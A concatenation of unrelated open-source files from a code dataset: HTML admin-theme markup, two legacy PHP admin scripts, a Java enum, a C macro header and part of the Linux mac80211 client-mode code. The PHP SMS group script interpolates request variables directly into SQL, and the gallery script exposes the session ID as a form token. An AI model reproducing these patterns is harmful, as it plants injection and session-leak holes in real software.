<img src="assets/images/layouts/layout-sidebar.png" /> </a> </div> <div class="layout-name"> <a href="layout-variants.html">Left Sidebar</a> </div> <ul class="layout-links"> <li> <a href="layout-variants.html" class="">Fixed Sidebar</a> </li> <li> <a href="layout-static-sidebar.html" class="">Static Sidebar</a> </li> <li> <a href="layout-without-submenu-toggle.html" class="">Other Submenus Toggle Off</a> </li> </ul> </div> </div> <div class="col-sm-4"> <div class="layout-variant"> <div class="layout-img"> <a href="layout-right-sidebar.html"> <img src="assets/images/layouts/layout-sidebar-right.png" /> </a> </div> <div class="layout-name"> <a href="layout-right-sidebar.html">Right Sidebar</a> </div> <ul class="layout-links"> <li> <a href="layout-right-sidebar.html" class="">Fixed Sidebar</a> </li> <li> <a href="layout-right-sidebar-static.html" class="">Static Sidebar</a> </li> <li> <a href="layout-without-submenu-toggle-right.html" class="">Other Submenus Toggle Off</a> </li> </ul> </div> </div> <div class="col-sm-4"> <div class="layout-variant"> <div class="layout-img"> <a href="layout-collapsed-sidebar.html"> <img src="assets/images/layouts/layout-sidebar-collapsed.png" /> </a> </div> <div class="layout-name"> <a href="layout-collapsed-sidebar.html">Collapsed Sidebar</a> </div> <ul class="layout-links"> <li> <a href="layout-collapsed-sidebar.html" class="disabled"> <del>Fixed Sidebar</del> </a> </li> <li> <a href="layout-collapsed-sidebar.html" class="">Static Sidebar</a> </li> <li> <a href="layout-chat-open.html" class="">Static Sidebar &amp; Chat Open</a> </li> </ul> </div> </div> <div class="clearfix"></div> <div class="col-sm-4"> <div class="layout-variant"> <div class="layout-img"> <a href="layout-right-collapsed-sidebar.html"> <img src="assets/images/layouts/layout-sidebar-right-collapsed.png" /> </a> </div> <div class="layout-name"> <a href="layout-right-collapsed-sidebar.html">Collapsed Right Sidebar</a> </div> <ul class="layout-links"> <li> <a href="layout-right-collapsed-sidebar.html" class="disabled"> <del>Fixed Sidebar</del> </a> </li> <li> <a href="layout-right-collapsed-sidebar.html" class="">Static Sidebar</a> </li> <li> <a href="layout-right-collapsed-sidebar-chat-open.html" class="">Static Sidebar &amp; Chat Open</a> </li> </ul> </div> </div> <div class="col-sm-4"> <div class="layout-variant"> <div class="layout-img"> <a href="layout-horizontal-menu.html"> <img src="assets/images/layouts/layout-horizontal.png" /> </a> </div> <div class="layout-name"> <a href="layout-horizontal-menu.html">Horizontal Menu</a> </div> <ul class="layout-links"> <li> <a href="layout-horizontal-menu.html" class="">Fixed to Top</a> </li> <li> <a href="layout-horizontal-menu-static.html" class="">Static on Top</a> </li> <li> <a href="layout-horizontal-menu-boxed.html" class="">Boxed Content with Horizontal Menu</a> </li> <li> <a href="layout-horizontal-menu-click-to-open-subs.html" class="">Click to Open Submenus</a> </li> <li> <a href="layout-horizontal-menu-min.html" class="">Minimal Horizontal Menu</a> </li> </ul> </div> </div> <div class="col-sm-4"> <div class="layout-variant"> <div class="layout-img"> <a href="layout-horizontal-plus-sidebar.html"> <img src="assets/images/layouts/layout-sidebar-horizontal.png" /> </a> </div> <div class="layout-name"> <a href="layout-horizontal-plus-sidebar.html">Sidebar &amp; Horizontal Menu</a> </div> <ul class="layout-links"> <li> <a href="layout-horizontal-plus-sidebar.html" class="">Fixed Sidebar &amp; Horizontal Menu</a> </li> <li> <a href="layout-horizontal-sidebar-menu-static.html" class="">Static Sidebar &amp; Horizontal Menu</a> </li> <li> <a href="layout-horizontal-fixed-sidebar-menu-static.html" class="">Static Sidebar, Fixed Horizontal Menu</a> </li> </ul> </div> </div> <div class="clearfix"></div> <div class="col-sm-4"> <div class="layout-variant"> <div class="layout-img"> <a href="layout-horizontal-right-sidebar-menu.html"> <img src="assets/images/layouts/layout-horizontal-right-sidebar.png" /> </a> </div> <div class="layout-name"> <a href="layout-horizontal-right-sidebar-menu.html">Right Sidebar &amp; Horizontal Menu</a> </div> <ul class="layout-links"> <li> <a href="layout-horizontal-right-sidebar-menu.html" class="">Fixed Sidebar &amp; Horizontal Menu</a> </li> <li> <a href="layout-horizontal-right-sidebar-menu-static.html" class="">Static Sidebar &amp; Horizontal Menu</a> </li> <li> <a href="layout-horizontal-right-fixed-sidebar-menu-static.html" class="">Static Sidebar, Fixed Horizontal Menu</a> </li> </ul> </div> </div> <div class="col-sm-4"> <div class="layout-variant"> <div class="layout-img"> <a href="layout-horizontal-sidebar-menu-collapsed.html"> <img src="assets/images/layouts/layout-sidebar-collapsed-horizontal.png" /> </a> </div> <div class="layout-name"> <a href="layout-horizontal-sidebar-menu-collapsed.html">Collapsed Sidebar &amp; Horizontal Menu</a> </div> <ul class="layout-links"> <li> <a href="layout-horizontal-sidebar-menu-collapsed.html" class="">Static Sidebar &amp; Fixed Horizontal Menu</a> </li> <li> <a href="layout-horizontal-static-sidebar-menu-collapsed.html" class="">Static Sidebar &amp; Horizontal Menu</a> </li> </ul> </div> </div> <div class="col-sm-4"> <div class="layout-variant layout-current"> <div class="layout-img"> <a href="layout-horizontal-sidebar-menu-collapsed-right.html"> <img src="assets/images/layouts/layout-horizontal-right-sidebar-collapsed.png" /> </a> </div> <div class="layout-name"> <a href="layout-horizontal-sidebar-menu-collapsed-right.html">Right Collapsed Sidebar &amp; Horizontal Menu</a> </div> <ul class="layout-links"> <li> <a href="layout-horizontal-sidebar-menu-collapsed-right.html" class="layout-mode-current">Static Sidebar &amp; Fixed Horizontal Menu</a> </li> <li> <a href="layout-horizontal-static-sidebar-menu-collapsed-right.html" class="">Static Sidebar &amp; Horizontal Menu</a> </li> </ul> </div> </div> </div> </div> </div> <!-- Main Footer --> <!-- Choose between footer styles: "footer-type-1" or "footer-type-2" --> <!-- Add class "sticky" to always stick the footer to the end of page (if page contents is small) --> <!-- Or class "fixed" to always fix the footer to the end of page --> <footer class="main-footer sticky footer-type-1"> <div class="footer-inner"> <!-- Add your copyright text here --> <div class="footer-text"> &copy; 2014 <strong>Xenon</strong> theme by <a href="http://laborator.co" target="_blank">Laborator</a> </div> <!-- Go to Top Link, just add rel="go-top" to any link to add this functionality --> <div class="go-up"> <a href="#" rel="go-top"> <i class="fa-angle-up"></i> </a> </div> </div> </footer> </div> <!-- start: Chat Section --> <div id="chat" class="fixed"> <div class="chat-inner"> <h2 class="chat-header"> <a href="#" class="chat-close" data-toggle="chat"> <i class="fa-plus-circle rotate-45deg"></i> </a> Chat <span class="badge badge-success is-hidden">0</span> </h2> <script type="text/javascript"> // Here is just a sample how to open chat conversation box jQuery(document).ready(function($) { var $chat_conversation = $(".chat-conversation"); $(".chat-group a").on('click', function(ev) { ev.preventDefault(); $chat_conversation.toggleClass('is-open'); $(".chat-conversation textarea").trigger('autosize.resize').focus(); }); $(".conversation-close").on('click', function(ev) { ev.preventDefault(); $chat_conversation.removeClass('is-open'); }); }); </script> <div class="chat-group"> <strong>Favorites</strong> <a href="#"><span class="user-status is-online"></span> <em>Catherine J. Watkins</em></a> <a href="#"><span class="user-status is-online"></span> <em>Nicholas R. Walker</em></a> <a href="#"><span class="user-status is-busy"></span> <em>Susan J. Best</em></a> <a href="#"><span class="user-status is-idle"></span> <em>Fernando G. Olson</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Brandon S. Young</em></a> </div> <div class="chat-group"> <strong>Work</strong> <a href="#"><span class="user-status is-busy"></span> <em>Rodrigo E. Lozano</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Robert J. Garcia</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Daniel A. Pena</em></a> </div> <div class="chat-group"> <strong>Other</strong> <a href="#"><span class="user-status is-online"></span> <em>Dennis E. Johnson</em></a> <a href="#"><span class="user-status is-online"></span> <em>Stuart A. Shire</em></a> <a href="#"><span class="user-status is-online"></span> <em>Janet I. Matas</em></a> <a href="#"><span class="user-status is-online"></span> <em>Mindy A. Smith</em></a> <a href="#"><span class="user-status is-busy"></span> <em>Herman S. Foltz</em></a> <a href="#"><span class="user-status is-busy"></span> <em>Gregory E. Robie</em></a> <a href="#"><span class="user-status is-busy"></span> <em>Nellie T. Foreman</em></a> <a href="#"><span class="user-status is-busy"></span> <em>William R. Miller</em></a> <a href="#"><span class="user-status is-idle"></span> <em>Vivian J. Hall</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Melinda A. Anderson</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Gary M. Mooneyham</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Robert C. Medina</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Dylan C. Bernal</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Marc P. Sanborn</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Kenneth M. Rochester</em></a> <a href="#"><span class="user-status is-offline"></span> <em>Rachael D. Carpenter</em></a> </div> </div> <!-- conversation template --> <div class="chat-conversation"> <div class="conversation-header"> <a href="#" class="conversation-close"> &times; </a> <span class="user-status is-online"></span> <span class="display-name">Arlind Nushi</span> <small>Online</small> </div> <ul class="conversation-body"> <li> <span class="user">Arlind Nushi</span> <span class="time">09:00</span> <p>Are you here?</p> </li> <li class="odd"> <span class="user">Brandon S. Young</span> <span class="time">09:25</span> <p>This message is pre-queued.</p> </li> <li> <span class="user">Brandon S. Young</span> <span class="time">09:26</span> <p>Whohoo!</p> </li> <li class="odd"> <span class="user">Arlind Nushi</span> <span class="time">09:27</span> <p>Do you like it?</p> </li> </ul> <div class="chat-textarea"> <textarea class="form-control autogrow" placeholder="Type your message"></textarea> </div> </div> </div> <!-- end: Chat Section --> </div> <!-- Bottom Scripts --> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/TweenMax.min.js"></script> <script src="assets/js/resizeable.js"></script> <script src="assets/js/joinable.js"></script> <script src="assets/js/xenon-api.js"></script> <script src="assets/js/xenon-toggles.js"></script> <!-- JavaScripts initializations and stuff --> <script src="assets/js/xenon-custom.js"></script> </body> </html>
RogerCavaler/ponto
Exemplo - Template original/layout-horizontal-sidebar-menu-collapsed-right.html
HTML
gpl-2.0
59,842
<? $sub_menu = "900500"; include_once("./_common.php"); auth_check($auth[$sub_menu], "w"); if ($w == 'u') // 업데이트 { if (!is_numeric($fg_no)) alert_just('그룹 고유번호가 없습니다.'); $res = sql_fetch("select * from $g4[sms4_form_group_table] where fg_no='$fg_no'"); if (!$res) alert_just('존재하지 않는 그룹입니다.'); if (!strlen(trim($fg_name))) alert_just('그룹이름을 입력해주세요'); $res = sql_fetch("select fg_name from $g4[sms4_form_group_table] where fg_no<>'$fg_no' and fg_name='$fg_name'"); if ($res) alert_just('같은 그룹이름이 존재합니다.'); sql_query("update $g4[sms4_form_group_table] set fg_name='$fg_name', fg_member='$fg_member' where fg_no='$fg_no'"); sql_query("update $g4[sms4_form_table] set fg_member = '$fg_member' where fg_no = '$fg_no'"); } else if ($w == 'd') // 그룹삭제 { if (!is_numeric($fg_no)) alert_just('그룹 고유번호가 없습니다.'); $res = sql_fetch("select * from $g4[sms4_form_group_table] where fg_no='$fg_no'"); if (!$res) alert_just('존재하지 않는 그룹입니다.'); sql_query("delete from $g4[sms4_form_group_table] where fg_no='$fg_no'"); sql_query("update $g4[sms4_form_table] set fg_no = 0, fg_member = 0 where fg_no='$fg_no'"); } else if ($w == 'empty') { if ($fg_no == 'no') $fg_no = 0; if ($fg_no) sql_query("update $g4[sms4_form_group_table] set fg_count = 0 where fg_no = '$fg_no'"); sql_query("delete from $g4[sms4_form_table] where fg_no = '$fg_no'"); } else // 등록 { if (!strlen(trim($fg_name))) alert_just('그룹이름을 입력해주세요'); $res = sql_fetch("select fg_name from $g4[sms4_form_group_table] where fg_name = '$fg_name'"); if ($res) alert_just('같은 그룹이름이 존재합니다.'); sql_query("insert into $g4[sms4_form_group_table] set fg_name = '$fg_name'"); } ?> <script language=javascript> parent.document.location.reload(); </script>
jungchinet/jungchinet
adm/sms_admin/form_group_update.php
PHP
gpl-2.0
2,054
package teammates.common.util; /** * The type object that defines an email based on its purpose. */ public enum EmailType { FEEDBACK_OPENING("TEAMMATES: Feedback session now open [Course: %s][Feedback Session: %s]"), FEEDBACK_SESSION_REMINDER("TEAMMATES: Feedback session reminder [Course: %s][Feedback Session: %s]"), FEEDBACK_SUBMISSION_CONFIRMATION( "TEAMMATES: Feedback responses successfully recorded [Course: %s][Feedback Session: %s]"), FEEDBACK_CLOSING("TEAMMATES: Feedback session closing soon [Course: %s][Feedback Session: %s]"), FEEDBACK_CLOSED("TEAMMATES: Feedback session closed [Course: %s][Feedback Session: %s]"), FEEDBACK_PUBLISHED("TEAMMATES: Feedback session results published [Course: %s][Feedback Session: %s]"), FEEDBACK_UNPUBLISHED("TEAMMATES: Feedback session results unpublished [Course: %s][Feedback Session: %s]"), STUDENT_EMAIL_CHANGED("TEAMMATES: Summary of course [%s][Course ID: %s]"), PENDING_COMMENT_CLEARED("TEAMMATES: You have new comments for course [%s][Course ID: %s]"), NEW_INSTRUCTOR_ACCOUNT("TEAMMATES: Welcome to TEAMMATES! %s"), STUDENT_COURSE_JOIN("TEAMMATES: Invitation to join course [%s][Course ID: %s]"), STUDENT_COURSE_REJOIN_AFTER_GOOGLE_ID_RESET("TEAMMATES: Your account has been reset for course [%s][Course ID: %s]"), INSTRUCTOR_COURSE_JOIN("TEAMMATES: Invitation to join course as an instructor [%s][Course ID: %s]"), ADMIN_SYSTEM_ERROR("TEAMMATES (%s): New System Exception: %s"), SEVERE_LOGS_COMPILATION("TEAMMATES (%s): Severe Error Logs Compilation"); private final String subject; EmailType(String subject) { this.subject = subject; } /** * Gets the subject heading of this email type. */ public String getSubject() { return subject; } }
Neurrone/teammates
src/main/java/teammates/common/util/EmailType.java
Java
gpl-2.0
1,828
/* CC0 (Public domain) - see LICENSE file for details */ #ifndef CCAN_TYPESAFE_CB_H #define CCAN_TYPESAFE_CB_H #include "config.h" #define typesafe_cb_cast(desttype, oktype, expr) ((desttype)(expr)) /** * typesafe_cb_cast3 - only cast an expression if it matches given types * @desttype: the type to cast to * @ok1: the first type we allow * @ok2: the second type we allow * @ok3: the third type we allow * @expr: the expression to cast * * This is a convenient wrapper for multiple typesafe_cb_cast() calls. * You can chain them inside each other (ie. use typesafe_cb_cast() * for expr) if you need more than 3 arguments. * * Example: * // We can take either a long, unsigned long, void * or a const void *. * void _set_some_value(void *val); * #define set_some_value(expr) \ * _set_some_value(typesafe_cb_cast3(void *,, \ * long, unsigned long, const void *,\ * (expr))) */ #define typesafe_cb_cast3(desttype, ok1, ok2, ok3, expr) \ typesafe_cb_cast(desttype, ok1, \ typesafe_cb_cast(desttype, ok2, \ typesafe_cb_cast(desttype, ok3, \ (expr)))) /** * typesafe_cb - cast a callback function if it matches the arg * @rtype: the return type of the callback function * @atype: the (pointer) type which the callback function expects. * @fn: the callback function to cast * @arg: the (pointer) argument to hand to the callback function. * * If a callback function takes a single argument, this macro does * appropriate casts to a function which takes a single atype argument if the * callback provided matches the @arg. * * It is assumed that @arg is of pointer type: usually @arg is passed * or assigned to a void * elsewhere anyway. * * Example: * void _register_callback(void (*fn)(void *arg), void *arg); * #define register_callback(fn, arg) \ * _register_callback(typesafe_cb(void, (fn), void*, (arg)), (arg)) */ #define typesafe_cb(rtype, atype, fn, arg) \ typesafe_cb_cast(rtype (*)(atype), \ rtype (*)(__typeof__(arg)), \ (fn)) /** * typesafe_cb_preargs - cast a callback function if it matches the arg * @rtype: the return type of the callback function * @atype: the (pointer) type which the callback function expects. * @fn: the callback function to cast * @arg: the (pointer) argument to hand to the callback function. * * This is a version of typesafe_cb() for callbacks that take other arguments * before the @arg. * * Example: * void _register_callback(void (*fn)(int, void *arg), void *arg); * #define register_callback(fn, arg) \ * _register_callback(typesafe_cb_preargs(void, void *, \ * (fn), (arg), int), \ * (arg)) */ #define typesafe_cb_preargs(rtype, atype, fn, arg, ...) \ typesafe_cb_cast(rtype (*)(__VA_ARGS__, atype), \ rtype (*)(__VA_ARGS__, __typeof__(arg)), \ (fn)) /** * typesafe_cb_postargs - cast a callback function if it matches the arg * @rtype: the return type of the callback function * @atype: the (pointer) type which the callback function expects. * @fn: the callback function to cast * @arg: the (pointer) argument to hand to the callback function. * * This is a version of typesafe_cb() for callbacks that take other arguments * after the @arg. * * Example: * void _register_callback(void (*fn)(void *arg, int), void *arg); * #define register_callback(fn, arg) \ * _register_callback(typesafe_cb_postargs(void, (fn), void *, \ * (arg), int), \ * (arg)) */ #define typesafe_cb_postargs(rtype, atype, fn, arg, ...) \ typesafe_cb_cast(rtype (*)(atype, __VA_ARGS__), \ rtype (*)(__typeof__(arg), __VA_ARGS__), \ (fn)) #endif /* CCAN_CAST_IF_TYPE_H */
fadein/cmatrix
ccan/typesafe_cb/typesafe_cb.h
C
gpl-2.0
3,696
<?php if(!isset($modIt)) die("Rhino components cannot be accessed directly!"); if(!empty($modIt->attributes['imageGallery']) || (!empty($x->attributes['imageGallery']) && !empty($id))){ if(!empty($modIt->fieldData) && $x && !empty($id) && !$x->fatalError && !empty($x->attributes['imageGallery'])){ ?> <div id="gallerySubBox" class="box"> <h4>Gallery:</h4> <?php $x->listEntries("<form action=\"\" method=\"post\" id=\"galleryForm_[[id]]\" class=\"deleteBox galleryForm\"> <span class=\"galleryItemTitle\">[[listings]]</span><br /> <input type=\"hidden\" name=\"delp\" value=\"[[id]]\" class=\"removable\" /><input type=\"hidden\" name=\"delToken2\" value=\"".$_COOKIE['PHPSESSID']."\" /><a href=\"?s=".$section."&amp;id=".$id."&amp;p=[[id]]\"><img src=\"[[imageGalThumb]]\" alt=\"[[listings]]\" /></a> <br /> <input type=\"image\" value=\"delete\" alt=\"Delete\" src=\"img/delete.gif\" class=\"galleryButton\" /> <a href=\"?s=".$section."&id=".$id."&p=[[id]]\"><img src=\"img/edit.gif\" alt=\"Edit\" class=\"galleryButton\" /></a> <a href=\"[[imageGalFile]]\"><img src=\"img/zoom.gif\" alt=\"View\" class=\"galleryButton\" /></a> </form>\n", array("limitAlbum"=>$x->unbind($x->attributes['isGallery']),"limitValue"=>$id,'start'=>$_GET['startSubList'],'limit'=>0,'isGallery'=>true)); ?> </div> <?php } elseif(!$modIt->fatalError && !empty($modIt->attributes['imageGallery'])){ ?> <div id="galleryListBox" class="box"> <h4>Gallery:</h4> <?php $modIt->listEntries("<form action=\"\" method=\"post\" id=\"galleryForm_[[id]]\" class=\"deleteBox galleryForm\"> <span class=\"galleryItemTitle\">[[listings]]</span><br /> <input type=\"hidden\" name=\"delid\" value=\"[[id]]\" class=\"removable\" /><input type=\"hidden\" name=\"delToken\" value=\"".$_COOKIE['PHPSESSID']."\" /><a href=\"?s=".$section."&amp;id=[[id]]\"><img src=\"[[imageGalThumb]]\" alt=\"[[listings]]\" /></a> <br /> <input type=\"image\" value=\"delete\" alt=\"Delete\" src=\"img/delete.gif\" class=\"galleryButton\" /> <a href=\"?s=".$section."&id=[[id]]\"><img src=\"img/edit.gif\" alt=\"Edit\" class=\"galleryButton\" /></a> <a href=\"[[imageGalFile]]\"><img src=\"img/zoom.gif\" alt=\"View\" class=\"galleryButton\" /></a> </form>\n",array('isGallery'=>true, 'limit'=>0)); ?> </div> <?php } }
wr/bionichippo.com
old/admin/components/inline_gallery.php
PHP
gpl-2.0
2,365
/* * BSS client mode implementation * Copyright 2003-2008, Jouni Malinen <j@w1.fi> * Copyright 2004, Instant802 Networks, Inc. * Copyright 2005, Devicescape Software, Inc. * Copyright 2006-2007 Jiri Benc <jbenc@suse.cz> * Copyright 2007, Michael Wu <flamingice@sourmilk.net> * Copyright 2013-2014 Intel Mobile Communications GmbH * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #include <linux/delay.h> #include <linux/if_ether.h> #include <linux/skbuff.h> #include <linux/if_arp.h> #include <linux/etherdevice.h> #include <linux/moduleparam.h> #include <linux/rtnetlink.h> #include <linux/pm_qos.h> #include <linux/crc32.h> #include <linux/slab.h> #include <linux/export.h> #include <net/mac80211.h> #include <asm/unaligned.h> #include "ieee80211_i.h" #include "driver-ops.h" #include "rate.h" #include "led.h" #define IEEE80211_AUTH_TIMEOUT (HZ / 5) #define IEEE80211_AUTH_TIMEOUT_LONG (HZ / 2) #define IEEE80211_AUTH_TIMEOUT_SHORT (HZ / 10) #define IEEE80211_AUTH_MAX_TRIES 3 #define IEEE80211_AUTH_WAIT_ASSOC (HZ * 5) #define IEEE80211_ASSOC_TIMEOUT (HZ / 5) #define IEEE80211_ASSOC_TIMEOUT_LONG (HZ / 2) #define IEEE80211_ASSOC_TIMEOUT_SHORT (HZ / 10) #define IEEE80211_ASSOC_MAX_TRIES 3 static int max_nullfunc_tries = 2; module_param(max_nullfunc_tries, int, 0644); MODULE_PARM_DESC(max_nullfunc_tries, "Maximum nullfunc tx tries before disconnecting (reason 4)."); static int max_probe_tries = 5; module_param(max_probe_tries, int, 0644); MODULE_PARM_DESC(max_probe_tries, "Maximum probe tries before disconnecting (reason 4)."); /* * Beacon loss timeout is calculated as N frames times the * advertised beacon interval. This may need to be somewhat * higher than what hardware might detect to account for * delays in the host processing frames. But since we also * probe on beacon miss before declaring the connection lost * default to what we want. */ static int beacon_loss_count = 7; module_param(beacon_loss_count, int, 0644); MODULE_PARM_DESC(beacon_loss_count, "Number of beacon intervals before we decide beacon was lost."); /* * Time the connection can be idle before we probe * it to see if we can still talk to the AP. */ #define IEEE80211_CONNECTION_IDLE_TIME (30 * HZ) /* * Time we wait for a probe response after sending * a probe request because of beacon loss or for * checking the connection still works. */ static int probe_wait_ms = 500; module_param(probe_wait_ms, int, 0644); MODULE_PARM_DESC(probe_wait_ms, "Maximum time(ms) to wait for probe response" " before disconnecting (reason 4)."); /* * Weight given to the latest Beacon frame when calculating average signal * strength for Beacon frames received in the current BSS. This must be * between 1 and 15. */ #define IEEE80211_SIGNAL_AVE_WEIGHT 3 /* * How many Beacon frames need to have been used in average signal strength * before starting to indicate signal change events. */ #define IEEE80211_SIGNAL_AVE_MIN_COUNT 4 /* * We can have multiple work items (and connection probing) * scheduling this timer, but we need to take care to only * reschedule it when it should fire _earlier_ than it was * asked for before, or if it's not pending right now. This * function ensures that. Note that it then is required to * run this function for all timeouts after the first one * has happened -- the work that runs from this timer will * do that. */ static void run_again(struct ieee80211_sub_if_data *sdata, unsigned long timeout) { sdata_assert_lock(sdata); if (!timer_pending(&sdata->u.mgd.timer) || time_before(timeout, sdata->u.mgd.timer.expires)) mod_timer(&sdata->u.mgd.timer, timeout); } void ieee80211_sta_reset_beacon_monitor(struct ieee80211_sub_if_data *sdata) { if (sdata->vif.driver_flags & IEEE80211_VIF_BEACON_FILTER) return; if (sdata->local->hw.flags & IEEE80211_HW_CONNECTION_MONITOR) return; mod_timer(&sdata->u.mgd.bcn_mon_timer, round_jiffies_up(jiffies + sdata->u.mgd.beacon_timeout)); } void ieee80211_sta_reset_conn_monitor(struct ieee80211_sub_if_data *sdata) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; if (unlikely(!sdata->u.mgd.associated)) return; ifmgd->probe_send_count = 0; if (sdata->local->hw.flags & IEEE80211_HW_CONNECTION_MONITOR) return; mod_timer(&sdata->u.mgd.conn_mon_timer, round_jiffies_up(jiffies + IEEE80211_CONNECTION_IDLE_TIME)); } static int ecw2cw(int ecw) { return (1 << ecw) - 1; } static u32 ieee80211_determine_chantype(struct ieee80211_sub_if_data *sdata, struct ieee80211_supported_band *sband, struct ieee80211_channel *channel, const struct ieee80211_ht_cap *ht_cap, const struct ieee80211_ht_operation *ht_oper, const struct ieee80211_vht_operation *vht_oper, struct cfg80211_chan_def *chandef, bool tracking) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct cfg80211_chan_def vht_chandef; struct ieee80211_sta_ht_cap sta_ht_cap; u32 ht_cfreq, ret; memcpy(&sta_ht_cap, &sband->ht_cap, sizeof(sta_ht_cap)); ieee80211_apply_htcap_overrides(sdata, &sta_ht_cap); chandef->chan = channel; chandef->width = NL80211_CHAN_WIDTH_20_NOHT; chandef->center_freq1 = channel->center_freq; chandef->center_freq2 = 0; if (!ht_cap || !ht_oper || !sta_ht_cap.ht_supported) { ret = IEEE80211_STA_DISABLE_HT | IEEE80211_STA_DISABLE_VHT; goto out; } chandef->width = NL80211_CHAN_WIDTH_20; if (!(ht_cap->cap_info & cpu_to_le16(IEEE80211_HT_CAP_SUP_WIDTH_20_40))) { ret = IEEE80211_STA_DISABLE_40MHZ; vht_chandef = *chandef; goto out; } ht_cfreq = ieee80211_channel_to_frequency(ht_oper->primary_chan, channel->band); /* check that channel matches the right operating channel */ if (!tracking && channel->center_freq != ht_cfreq) { /* * It's possible that some APs are confused here; * Netgear WNDR3700 sometimes reports 4 higher than * the actual channel in association responses, but * since we look at probe response/beacon data here * it should be OK. */ sdata_info(sdata, "Wrong control channel: center-freq: %d ht-cfreq: %d ht->primary_chan: %d band: %d - Disabling HT\n", channel->center_freq, ht_cfreq, ht_oper->primary_chan, channel->band); ret = IEEE80211_STA_DISABLE_HT | IEEE80211_STA_DISABLE_VHT; goto out; } /* check 40 MHz support, if we have it */ if (sta_ht_cap.cap & IEEE80211_HT_CAP_SUP_WIDTH_20_40) { switch (ht_oper->ht_param & IEEE80211_HT_PARAM_CHA_SEC_OFFSET) { case IEEE80211_HT_PARAM_CHA_SEC_ABOVE: chandef->width = NL80211_CHAN_WIDTH_40; chandef->center_freq1 += 10; break; case IEEE80211_HT_PARAM_CHA_SEC_BELOW: chandef->width = NL80211_CHAN_WIDTH_40; chandef->center_freq1 -= 10; break; } } else { /* 40 MHz (and 80 MHz) must be supported for VHT */ ret = IEEE80211_STA_DISABLE_VHT; /* also mark 40 MHz disabled */ ret |= IEEE80211_STA_DISABLE_40MHZ; goto out; } if (!vht_oper || !sband->vht_cap.vht_supported) { ret = IEEE80211_STA_DISABLE_VHT; goto out; } vht_chandef.chan = channel; vht_chandef.center_freq1 = ieee80211_channel_to_frequency(vht_oper->center_freq_seg1_idx, channel->band); vht_chandef.center_freq2 = 0; switch (vht_oper->chan_width) { case IEEE80211_VHT_CHANWIDTH_USE_HT: vht_chandef.width = chandef->width; vht_chandef.center_freq1 = chandef->center_freq1; break; case IEEE80211_VHT_CHANWIDTH_80MHZ: vht_chandef.width = NL80211_CHAN_WIDTH_80; break; case IEEE80211_VHT_CHANWIDTH_160MHZ: vht_chandef.width = NL80211_CHAN_WIDTH_160; break; case IEEE80211_VHT_CHANWIDTH_80P80MHZ: vht_chandef.width = NL80211_CHAN_WIDTH_80P80; vht_chandef.center_freq2 = ieee80211_channel_to_frequency( vht_oper->center_freq_seg2_idx, channel->band); break; default: if (!(ifmgd->flags & IEEE80211_STA_DISABLE_VHT)) sdata_info(sdata, "AP VHT operation IE has invalid channel width (%d), disable VHT\n", vht_oper->chan_width); ret = IEEE80211_STA_DISABLE_VHT; goto out; } if (!cfg80211_chandef_valid(&vht_chandef)) { if (!(ifmgd->flags & IEEE80211_STA_DISABLE_VHT)) sdata_info(sdata, "AP VHT information is invalid, disable VHT\n"); ret = IEEE80211_STA_DISABLE_VHT; goto out; } if (cfg80211_chandef_identical(chandef, &vht_chandef)) { ret = 0; goto out; } if (!cfg80211_chandef_compatible(chandef, &vht_chandef)) { if (!(ifmgd->flags & IEEE80211_STA_DISABLE_VHT)) sdata_info(sdata, "AP VHT information doesn't match HT, disable VHT\n"); ret = IEEE80211_STA_DISABLE_VHT; goto out; } *chandef = vht_chandef; ret = 0; out: /* * When tracking the current AP, don't do any further checks if the * new chandef is identical to the one we're currently using for the * connection. This keeps us from playing ping-pong with regulatory, * without it the following can happen (for example): * - connect to an AP with 80 MHz, world regdom allows 80 MHz * - AP advertises regdom US * - CRDA loads regdom US with 80 MHz prohibited (old database) * - the code below detects an unsupported channel, downgrades, and * we disconnect from the AP in the caller * - disconnect causes CRDA to reload world regdomain and the game * starts anew. * (see https://bugzilla.kernel.org/show_bug.cgi?id=70881) * * It seems possible that there are still scenarios with CSA or real * bandwidth changes where a this could happen, but those cases are * less common and wouldn't completely prevent using the AP. */ if (tracking && cfg80211_chandef_identical(chandef, &sdata->vif.bss_conf.chandef)) return ret; /* don't print the message below for VHT mismatch if VHT is disabled */ if (ret & IEEE80211_STA_DISABLE_VHT) vht_chandef = *chandef; /* * Ignore the DISABLED flag when we're already connected and only * tracking the APs beacon for bandwidth changes - otherwise we * might get disconnected here if we connect to an AP, update our * regulatory information based on the AP's country IE and the * information we have is wrong/outdated and disables the channel * that we're actually using for the connection to the AP. */ while (!cfg80211_chandef_usable(sdata->local->hw.wiphy, chandef, tracking ? 0 : IEEE80211_CHAN_DISABLED)) { if (WARN_ON(chandef->width == NL80211_CHAN_WIDTH_20_NOHT)) { ret = IEEE80211_STA_DISABLE_HT | IEEE80211_STA_DISABLE_VHT; break; } ret |= ieee80211_chandef_downgrade(chandef); } if (chandef->width != vht_chandef.width && !tracking) sdata_info(sdata, "capabilities/regulatory prevented using AP HT/VHT configuration, downgraded\n"); WARN_ON_ONCE(!cfg80211_chandef_valid(chandef)); return ret; } static int ieee80211_config_bw(struct ieee80211_sub_if_data *sdata, struct sta_info *sta, const struct ieee80211_ht_cap *ht_cap, const struct ieee80211_ht_operation *ht_oper, const struct ieee80211_vht_operation *vht_oper, const u8 *bssid, u32 *changed) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_supported_band *sband; struct ieee80211_channel *chan; struct cfg80211_chan_def chandef; u16 ht_opmode; u32 flags; enum ieee80211_sta_rx_bandwidth new_sta_bw; int ret; /* if HT was/is disabled, don't track any bandwidth changes */ if (ifmgd->flags & IEEE80211_STA_DISABLE_HT || !ht_oper) return 0; /* don't check VHT if we associated as non-VHT station */ if (ifmgd->flags & IEEE80211_STA_DISABLE_VHT) vht_oper = NULL; if (WARN_ON_ONCE(!sta)) return 